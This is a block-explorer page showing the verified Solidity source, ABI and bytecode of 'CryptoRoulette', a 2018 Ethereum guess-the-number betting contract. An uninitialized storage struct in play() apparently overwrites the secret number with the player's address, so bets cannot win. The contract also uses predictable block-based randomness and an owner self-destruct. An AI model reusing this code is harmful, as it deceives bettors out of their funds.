Source Code
Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
Funded By
Latest 6 from a total of 6 transactions
Latest 1 internal transaction
Advanced mode:
| Parent Transaction Hash | Method | Block |
From
|
|
To
|
||
|---|---|---|---|---|---|---|---|
| Transfer | 5087893 | 2939 days ago | 0.9 ETH |
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions
Loading...
Loading
Contract Self Destruct called at Txn Hash 0x88f20c9e91b20d75bd4c4d534038caa7ae96f7f8767214648e9e95e9910f1f08
Contract Name:
CryptoRoulette
Compiler Version
v0.4.19+commit.c4cbbb05
Optimization Enabled:
Yes with 200 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity)
/**
*Submitted for verification at Etherscan.io on 2018-02-08
*/
pragma solidity ^0.4.19;
// CryptoRoulette
//
// Guess the number secretly stored in the blockchain and win the whole contract balance!
//
// To play, call the play() method with the guessed number. Bet price: 0.1 ether
contract CryptoRoulette {
uint256 private secretNumber;
uint256 public lastPlayed;
uint256 public betPrice = 0.1 ether;
address public ownerAddr;
struct Game {
address player;
uint256 number;
}
Game[] public gamesPlayed;
function CryptoRoulette() public {
ownerAddr = msg.sender;
shuffle();
}
function shuffle() internal {
// initialize secretNumber with a value between 0 and 15
secretNumber = uint8(sha3(now, block.blockhash(block.number-1))) % 16;
}
function play(uint256 number) payable public {
require(msg.value >= betPrice && number < 16);
Game game;
game.player = msg.sender;
game.number = number;
gamesPlayed.push(game);
if (number == secretNumber) {
// win!
msg.sender.transfer(this.balance);
}
shuffle();
lastPlayed = now;
}
function kill() public {
if (msg.sender == ownerAddr && now > lastPlayed + 1 days) {
suicide(msg.sender);
}
}
function() public payable { }
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"constant":true,"inputs":[{"name":"","type":"uint256"}],"name":"gamesPlayed","outputs":[{"name":"player","type":"address"},{"name":"number","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"kill","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"number","type":"uint256"}],"name":"play","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[],"name":"ownerAddr","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"lastPlayed","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"betPrice","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"}]Contract Creation Code
606060405267016345785d8a0000600255341561001b57600080fd5b60038054600160a060020a03191633600160a060020a031617905561004b64010000000061005081026102b71704565b610085565b601042600143034060405191825260208201526040908101905190819003902060ff1681151561007c57fe5b0660ff16600055565b610388806100946000396000f3006060604052600436106100775763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663382cf0a6811461007957806341c0e1b5146100b15780636898f82b146100c45780639c675eaa146100cf578063c5339132146100fe578063cfd8a17514610123575b005b341561008457600080fd5b61008f600435610136565b604051600160a060020a03909216825260208201526040908101905180910390f35b34156100bc57600080fd5b61007761016c565b6100776004356101a3565b34156100da57600080fd5b6100e261029c565b604051600160a060020a03909116815260200160405180910390f35b341561010957600080fd5b6101116102ab565b60405190815260200160405180910390f35b341561012e57600080fd5b6101116102b1565b600480548290811061014457fe5b600091825260209091206002909102018054600190910154600160a060020a03909116915082565b60035433600160a060020a0390811691161480156101905750600154620151800142115b156101a15733600160a060020a0316ff5b565b600060025434101580156101b75750601082105b15156101c257600080fd5b805473ffffffffffffffffffffffffffffffffffffffff191633600160a060020a03161781556001808201839055600480549091810161020283826102ec565b506000918252602082208354600290920201805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a039092169190911781556001808401549101555482141561028c5733600160a060020a03166108fc30600160a060020a0316319081150290604051600060405180830381858888f19350505050151561028c57600080fd5b6102946102b7565b505042600155565b600354600160a060020a031681565b60015481565b60025481565b601042600143034060405191825260208201526040908101905190819003902060ff168115156102e357fe5b0660ff16600055565b81548183558181151161031857600202816002028360005260206000209182019101610318919061031d565b505050565b61035991905b8082111561035557805473ffffffffffffffffffffffffffffffffffffffff1916815560006001820155600201610323565b5090565b905600a165627a7a72305820d6b3655a63733d18e7c6f5dd2956f4a24468c6893b69f99fe7e99859310d03e90029
Deployed Bytecode
0x6060604052600436106100775763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663382cf0a6811461007957806341c0e1b5146100b15780636898f82b146100c45780639c675eaa146100cf578063c5339132146100fe578063cfd8a17514610123575b005b341561008457600080fd5b61008f600435610136565b604051600160a060020a03909216825260208201526040908101905180910390f35b34156100bc57600080fd5b61007761016c565b6100776004356101a3565b34156100da57600080fd5b6100e261029c565b604051600160a060020a03909116815260200160405180910390f35b341561010957600080fd5b6101116102ab565b60405190815260200160405180910390f35b341561012e57600080fd5b6101116102b1565b600480548290811061014457fe5b600091825260209091206002909102018054600190910154600160a060020a03909116915082565b60035433600160a060020a0390811691161480156101905750600154620151800142115b156101a15733600160a060020a0316ff5b565b600060025434101580156101b75750601082105b15156101c257600080fd5b805473ffffffffffffffffffffffffffffffffffffffff191633600160a060020a03161781556001808201839055600480549091810161020283826102ec565b506000918252602082208354600290920201805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a039092169190911781556001808401549101555482141561028c5733600160a060020a03166108fc30600160a060020a0316319081150290604051600060405180830381858888f19350505050151561028c57600080fd5b6102946102b7565b505042600155565b600354600160a060020a031681565b60015481565b60025481565b601042600143034060405191825260208201526040908101905190819003902060ff168115156102e357fe5b0660ff16600055565b81548183558181151161031857600202816002028360005260206000209182019101610318919061031d565b505050565b61035991905b8082111561035557805473ffffffffffffffffffffffffffffffffffffffff1916815560006001820155600201610323565b5090565b905600a165627a7a72305820d6b3655a63733d18e7c6f5dd2956f4a24468c6893b69f99fe7e99859310d03e90029
Swarm Source
bzzr://d6b3655a63733d18e7c6f5dd2956f4a24468c6893b69f99fe7e99859310d03e9
Loading...
Loading
Loading...
Loading
Net Worth in USD
$0.00
Net Worth in ETH
0
Multichain Portfolio | 33 Chains
| Chain | Token | Portfolio % | Price | Amount | Value |
|---|
Loading...
Loading
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.